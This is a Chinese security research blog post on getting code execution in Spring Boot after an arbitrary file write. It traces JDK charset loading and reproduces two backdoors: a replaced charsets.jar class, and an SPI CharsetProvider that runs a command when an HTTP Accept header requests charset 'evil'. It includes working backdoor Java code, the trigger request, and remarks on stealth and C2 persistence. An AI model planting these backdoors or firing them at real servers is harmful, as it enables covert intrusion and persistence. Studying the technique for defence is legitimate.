前言
今天在landgrey師傅的博客上看到一篇將Spring Boot FatJar任意寫目錄漏洞如何來GetShell的方法,因為在Spring Boot中處理邏輯的控制層Controller是通過注解等方式來添加進Spring容器中,已經摒棄了JSP的方式。這樣的方式導致JSP就算上傳在網站目錄上也無法運行。直到今天看到landgrey和threedr3am兩位師傅的文章。不得不佩服他們的腦洞和對代碼的運用。對此我將兩位師傅的思路總結起來並對這兩種方式進行比較和利用復現。
大致我分為如下兩種方式:
-
-
添加一個默認的ClassPath中的文件夾
一個類被加載到jvm中,是還沒有進行初始化的,通常情況下可以通過new、newInstance、Class.forName等方法來初始化。同時在初始化的過程中會調用類的靜態方法/屬性或者構造函數。所以經常有見到類寫成如下形式:
public class Test{ static{ System.out.println("Hello Test"); } }
這種時候通過Class.forName再初始化類的時候,jvm會自動調用其中的靜態代碼塊,並輸出。
Java SPI機制
為了方便理解這次的實現代碼,還是把SPI機制也過一遍。
什么是SPI
SPI的全稱是Service Provider Interface,是JDK內置的一種服務發現機制。通過SPI我們可以動態加載我們定義的服務實現類。
網上找了一個認為比較容易理解的例子:JDK中有支持音樂播放,假設只支持mp3的播放,有些廠商想在這個基礎之上支持mp4播放,有的想支持mp5播放,而這些廠商都是第三方廠商,如果沒有提供SPI這種實現標准,那就只有修改JAVA的源代碼了,那這個弊端也是顯而易見的,而有了SPI標准,SUN公司只需要提供一個播放接口,在實現播放的功能上通過ServiceLoad的方式加載服務,那么第三方只需要實現這個播放接口,再按SPI標准的約定進行打包,再放到classpath下面就OK了,沒有一點代碼的侵入性。
-
API是調用並用於實現目標的類、接口、方法等的描述;
-
SPI是擴展和實現以實現目標的類、接口、方法等的描述;
換句話說,API 為操作提供特定的類、方法,SPI 通過操作來符合特定的類、方法。
所以按照上述的例子,JDK只需提供一個接口Music,各個第三方服務即可通過這個接口來實現不同的播放標准。所需的操作只需要實現該Music接口並在META-INF/services/下配置一個以Music接口為名字,內容為實現類的包名全稱的標准格式。
編寫一個接口
package com.spi; public interface ISpi { void say(); }
編寫兩個不同的實現類
package com.spi; public class FirstSpiImpl implements ISpi { @Override public void say() { System.out.println("我是第一個SPI實現類"); } }
package com.spi; public class SecondSpiImpl implements ISpi { @Override public void say() { System.out.println("我是第二個SPI實現類"); } }
在src根目錄創建文件夾META-INF/services,在創建的文件夾下面創建一個文件,命名為SPI接口的全路徑名,並寫上需要動態加載的實現類的全路徑名:
com.spi.FirstSpiImpl
com.spi.SecondSpiImpl
最后,編寫一個ServiceLoad加載服務
package com.spi; import java.util.ServiceLoader; /** * Hello world! */ public class App { public static void main(String[] args) { ServiceLoader<ISpi> serviceLoader = ServiceLoader.load(ISpi.class); for (ISpi service : serviceLoader) { service.say(); } } }
有所感觸
回到之前的正文上來,landgrey師傅通過-XX:+TraceClassLoading的方式替我們debug測試,找到了一處/jre/lib/charsets.jar的系統Classpath目錄。其思路就是通過任意寫文件漏洞替換系統classpath目錄下的charsets.jar文件,並根據resolveMediaTypes方法中對頭字段Accept的Charset.forName(value)所觸發charsets.jar文件的載入和初始化的后門利用。
看了landgrey師傅的思路,我自己也跟了一下,我發現竟然已經能替換charsets.jar文件,完全就可以直接通過劫持的方式來達到代碼執行,作為一個長久存在,且存在於類加載過程中的后門。其劫持思想我覺得可能有點相似於.NET平台的CLR劫持。
跟蹤技術實現
經過多次測試發現,jvm加載的時候會裝載classpath下的charsets.jar的lib文件。同時發現會調用Charset.forName方法。
跟蹤下去:
jvm啟動過程中某處會初始化java.lang.String(byte[],String)的構造函數,往下跟就能找到java.lang.StringCoding.decode方法。
static char[] decode(String charsetName, byte[] ba, int off, int len) throws UnsupportedEncodingException { StringDecoder sd = deref(decoder); String csn = (charsetName == null) ? "ISO-8859-1" : charsetName; if ((sd == null) || !(csn.equals(sd.requestedCharsetName()) || csn.equals(sd.charsetName()))) { sd = null; try { Charset cs = lookupCharset(csn); //傳播點 if (cs != null) sd = new StringDecoder(cs, csn); } catch (IllegalCharsetNameException x) {} if (sd == null) throw new UnsupportedEncodingException(csn); set(decoder, sd); } return sd.decode(ba, off, len); }
發現在decode方法中會調用lookupCharset()方法
private static Charset lookupCharset(String csn) { if (Charset.isSupported(csn)) { try { return Charset.forName(csn); } catch (UnsupportedCharsetException x) { throw new Error(x); } } return null; }
繼續往下跟Charset.forName
public static Charset forName(String charsetName) { Charset cs = lookup(charsetName); if (cs != null) return cs; throw new UnsupportedCharsetException(charsetName); }
在繼續往下跟lookup方法后,可以來到lookup2方法中來,其方法體如下:
private static Charset lookup2(String charsetName) { Object[] a; if ((a = cache2) != null && charsetName.equals(a[0])) { cache2 = cache1; cache1 = a; return (Charset)a[1]; } Charset cs; if ((cs = standardProvider.charsetForName(charsetName)) != null || (cs = lookupExtendedCharset(charsetName)) != null || (cs = lookupViaProviders(charsetName)) != null) { cache(charsetName, cs); return cs; } /* Only need to check the name if we didn't find a charset for it */ checkName(charsetName); return null; }
其中的if判斷中先后調用
standardProvider.charsetForName
lookupExtendedCharset
lookupViaProviders
這里我直接跟lookupExtendedCharset中來
private static Charset lookupExtendedCharset(String charsetName) { CharsetProvider ecp = ExtendedProviderHolder.extendedProvider; return (ecp != null) ? ecp.charsetForName(charsetName) : null; }
跟進ExtendedProviderHolder.extendedProvider;字段,發現該字段是調用靜態方法extendedProvider()的返回值。
private static class ExtendedProviderHolder { static final CharsetProvider extendedProvider = extendedProvider(); // returns ExtendedProvider, if installed private static CharsetProvider extendedProvider() { return AccessController.doPrivileged( new PrivilegedAction<CharsetProvider>() { public CharsetProvider run() { try { Class<?> epc = Class.forName("sun.nio.cs.ext.ExtendedCharsets"); return (CharsetProvider)epc.newInstance(); } catch (ClassNotFoundException x) { // Extended charsets not available // (charsets.jar not present) } catch (InstantiationException | IllegalAccessException x) { throw new Error(x); } return null; } }); } }
隨后就能看到有硬編碼調用Class.forName("sun.nio.cs.ext.ExtendedCharsets");
於是乎我便創建了如下一個jar包文件:
內容為:
package sun.nio.cs.ext; import java.io.IOException; import java.nio.charset.Charset; import java.nio.charset.spi.CharsetProvider; import java.util.Iterator; public class ExtendedCharsets extends CharsetProvider{ public ExtendedCharsets() { try { Runtime.getRuntime().exec("cmd /c calc"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public Iterator<Charset> charsets() { // TODO Auto-generated method stub return null; } @Override public Charset charsetForName(String charsetName) { // TODO Auto-generated method stub return null; } }
導出為jar包之后替換classpath目錄下的charsets.jar
我再總結下這種劫持charsets.jar的利弊:
優處:可以劫持系統程序,不論是javac.exe編譯字節碼,還是運行jvm等,都會觸發Charset.forName()。
弊處:如圖所示,亂碼。因為替換了Charsets.jar,表明之后的程序邏輯中有Charset.forName("UTF-8")等等這種情況均會失效,不利於隱蔽。
再談利用
上小節也說到,替換Charsets.jar包更趨向於劫持、權限維持等。但是threedr3am給出了另外一個利用方式,這種方式更接近於后門。
standardProvider.charsetForName
lookupExtendedCharset
lookupViaProviders
其實現代碼如下:
private static Charset lookupViaProviders(final String charsetName) { if (!sun.misc.VM.isBooted()) return null; if (gate.get() != null) // Avoid recursive provider lookups return null; try { gate.set(gate); return AccessController.doPrivileged( new PrivilegedAction<Charset>() { public Charset run() { for (Iterator<CharsetProvider> i = providers(); i.hasNext();) { CharsetProvider cp = i.next(); Charset cs = cp.charsetForName(charsetName); if (cs != null) return cs; } return null; } }); } finally { gate.set(null); } }
再看看其中for循環中的providers方法的關鍵代碼:
如果看到這你還一臉茫然,不要慌,建議再反到上面我們寫過的SPI的Demo。仔細看看其服務發現的代碼,是不是跟這個ServiceLoader.load一模一樣~
沒錯,知道原理之后,我只需要在系統的classpath中添加一個SPI類就行了(我試過將SPI打成jar包替換,然而並不行)。因此我需要一個classpath中添加一個文件夾。但是系統默認提供了一個:
System.out.println(System.getProperty("sun.boot.class.path"));
但是我的文件系統上並沒有這個文件,因此需要自己創建這個文件夾。
然后定義一個標准的SPI實現
其實現代碼如下:
package sun.nio.cs.evil; import java.io.IOException; import java.nio.charset.Charset; import java.nio.charset.spi.CharsetProvider; import java.util.HashSet; import java.util.Iterator; public class CharsetEvil extends CharsetProvider{ @Override public Iterator<Charset> charsets() { // TODO Auto-generated method stub return new HashSet<Charset>().iterator(); } @Override public Charset charsetForName(String charsetName) { // TODO Auto-generated method stub if(charsetName.startsWith("evil")) { //指定后門密碼 try { Runtime.getRuntime().exec("cmd /c calc"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return Charset.forName("UTF-8"); } }
然后將編譯好的包名和class字節碼放到classpath的文件夾下去
如此一來便大功告成了,從此之后只需要在調用Charset.forName("evil"),evil為之前指定的后門密碼。
針對Spring的利用
竟然已經可以通過Charset.forName("evil")來觸發后門了,但畢竟不會有程序員主動去調用這個代碼的,所以接下來肯定就是尋找在系統中,能觸發后門的gadget。
后門條件:
-
是調用的Charset.forName方法
-
其參數字符串可控
而在Spring-Framework-web框架中的org.springframework.web.accept.HeaderContentNegotiationStrategy類中繼承了ContentNegotiationStrategy,而ContentNegotiationStrategy是Spring Web中的策略接口,所定義的策略對象用於從請求對象中的各種信息判斷該請求的MediaType。
該接口中只有一個方法
List<MediaType> resolveMediaTypes(NativeWebRequest webRequest)
其中NativeWebRequest的參數就是請求對象,SpringMVC 默認加載兩個該接口的實現類:
ServletPathExtensionContentNegotiationStrategy–根據文件擴展名。
HeaderContentNegotiationStrategy–根據HTTP Header里的Accept字段。
HeaderContentNegotiationStrategy就是其中一個,而且是獲取Header中的Accept字段,正好可以用來做觸發條件。先來看關鍵代碼:
@Override public List<MediaType> resolveMediaTypes(NativeWebRequest request) throws HttpMediaTypeNotAcceptableException { String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT); //source if (headerValueArray == null) { return MEDIA_TYPE_ALL_LIST; } List<String> headerValues = Arrays.asList(headerValueArray); try { List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues); //Propagate MediaType.sortBySpecificityAndQuality(mediaTypes); return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST; } catch (InvalidMediaTypeException ex) { throw new HttpMediaTypeNotAcceptableException( "Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage()); } }
進入MediaType.parseMediaTypes方法中,繼續跟下去會發現調用了MimeTypeUtils.parseMimeType
public static MediaType parseMediaType(String mediaType) { MimeType type; try { type = MimeTypeUtils.parseMimeType(mediaType); //Propagate } catch (InvalidMimeTypeException ex) { throw new InvalidMediaTypeException(ex); } try { return new MediaType(type.getType(), type.getSubtype(), type.getParameters()); } catch (IllegalArgumentException ex) { throw new InvalidMediaTypeException(mediaType, ex.getMessage()); } }
接着往下跟蹤:
public static MimeType parseMimeType(String mimeType) { if (!StringUtils.hasLength(mimeType)) { throw new InvalidMimeTypeException(mimeType, "'mimeType' must not be empty"); } // do not cache multipart mime types with random boundaries if (mimeType.startsWith("multipart")) { return parseMimeTypeInternal(mimeType); //Propagate } return cachedMimeTypes.get(mimeType); }
程序調用了parseMimeTypeInternal方法,而在parseMimeTypeInternal方法中使用new關鍵詞實例化對象MimeType
public MimeType(String type, String subtype, @Nullable Map<String, String> parameters) { Assert.hasLength(type, "'type' must not be empty"); Assert.hasLength(subtype, "'subtype' must not be empty"); checkToken(type); checkToken(subtype); this.type = type.toLowerCase(Locale.ENGLISH); this.subtype = subtype.toLowerCase(Locale.ENGLISH); if (!CollectionUtils.isEmpty(parameters)) { Map<String, String> map = new LinkedCaseInsensitiveMap<>(parameters.size(), Locale.ENGLISH); parameters.forEach((attribute, value) -> { checkParameters(attribute, value); //Propagate map.put(attribute, value); }); this.parameters = Collections.unmodifiableMap(map); } else { this.parameters = Collections.emptyMap(); } }
而在構造方法中,使用checkParameters方法檢查傳入的值。
protected void checkParameters(String attribute, String value) { Assert.hasLength(attribute, "'attribute' must not be empty"); Assert.hasLength(value, "'value' must not be empty"); checkToken(attribute); if (PARAM_CHARSET.equals(attribute)) { value = unquote(value); Charset.forName(value); //Sink } else if (!isQuotedString(value)) { checkToken(value); } }
至此跟到Sink點Charset.forNmae()方法。
隨后使用postman發送如下數據包
GET / HTTP/1.1 Host: localhost:9090 Accept: text/html;charset=evil;
利用成功截圖:
尾聲...
上面講的這兩種方式其實各有各的好
方式 | 優點 | 缺點 |
---|---|---|
替換charsets.jar包 | 劫持系統程序的運行 | 亂碼、易被發現 |
寫入class文件夾 | 后門、通信更隱蔽 | 需要寫入字節碼到class文件夾和META-INF |
charsets.jar的方式沒有深入研究,其實從這兩種方式來看,做后滲透的方式更趨向於第一種,因此,唯一的突破口就是對charsets.jar的原生代碼基礎上進行織入C2的運行命令,以達到權限維持。
Reference
[1].https://landgrey.me/blog/22
[2].https://www.imooc.com/article/272288
[3].https://blog.csdn.net/x_iya/article/details/78114101